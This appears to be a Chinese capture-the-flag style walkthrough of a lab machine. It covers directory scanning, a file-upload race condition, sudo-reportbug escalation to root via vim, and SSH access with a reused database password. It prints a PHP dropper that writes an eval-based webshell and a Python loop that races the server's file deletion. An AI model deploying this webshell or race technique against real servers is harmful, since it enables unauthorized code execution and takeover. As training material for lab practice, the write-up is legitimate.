环境
攻击机kali
靶机
未知
主机探测
因为在同一个局域网内使用ARP协议探测存活主机
靶机为192.168.56.128
端口探测
常见的80和22端口
那么一定是寻找web漏洞拿shell了
后台扫描
后台扫描常用dirsearch和gobuster,有时候小字典可能不太行,可以尝试换个大点的字典试试
shell
gobuster dir -w /var/www/html/dict/directory-list-lowercase-2.3-medium.txt -u http://192.168.56.128 -t 200 -x php,zip,jsp,asp,bak,jpg,png,mp4,mkv,txt,html,md,git,7z,rar,db,log,docx,xlsx -b 400-404,500
扫出一个后台目录choose.php,并且发现了uploads目录,猜测是文件上传
发现需要上传zip文件,里面是jpeg文件
先上传个正常的
查看一下uploads目录
可以正常访问
想要利用文件上传来拿到shell无非需要满足两个条件
1、成功上传木马文件
2、服务端可以解析该文件
这时,我们上传一个php的木马试试,我的压缩包里面放了一个php文件
结果显示给文件不是jpeg,会被删除
删除两个字,哈哈,让我想到了文件上传的常见考点--条件竞争
我们猜测服务器处理php文件是这样的,当我们在浏览器点击上传键的时候,服务器会先把文件上传到一个目录下,此靶机就是前面找到的uploads目录,然后服务器的脚本代码会对文件的后缀名进行检查,若不是jpeg,那么就会删除,而条件竞争就是利用服务器判断的间隙访问木马文件,在此间隙中,木马已经在服务器中,只不过还来不及判断删除就被我们访问到了,具体的知识涉及到多线程。
实现步骤:
首先准备create-shell.php这个炮灰shell文件,里面写一下代码
php
<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[11]);?>');?>
开启一个访问的Python脚本,作用为验证shell是否成功上传
python
import requests
url1 = "http://127.0.0.1/upload/upload/create-shell.php" # 定义访问 creat-shell.php
url2 = "http://127.0.0.1/upload/upload/shell.php"
# 定义访问 shell.php
while True: # 定义死循环
html1 = requests.get(url1) # 请求 create-shell.php
html2 = requests.get(url2) # 请求 shell.php
if html2.status_code == 200: # 如果 shell.php 返回的http状态码为200
print('Good job,Win Win Win') # 打印 Good job.....
break
上传该文件并且使用burp抓包
在最下面输入数字1作为我们的爆破点
接着设置payload
把刚才的1遍历到1000,实现的结果就是burp会发送一摸一样的文件1000次,实现了对服务器的爆破
先运行Python脚本,随后开启burp的爆破模式,一段时间后成功竞争到该文件,说明shell已经成功上传
提权
拿到shell
因为蚁剑环境下不是一个真实的shell,需要我们重新反弹一个
升级shell
/usr/bin/script -qc /bin/bash /dev/null
在网站目录下发现了upload.php上传逻辑点,可以发现服务器确实是先上传了文件后进行判断删除
在网站的目录下发现了一个hashDB.sh的bash脚本,功能它自己写了,验证数据库的完整性
发现了mysqldump -u admin -p这段代码
尝试登录,成功
ssh登录freddie
拿到user.txt
sudo查看发现reportbug有提权的可能性
file /usr/bin/reportbug
python可执行脚本
以root运行
sudo reportbug
一段乱输之后发现有一个vim编辑器提权
拿下root.txtTOC]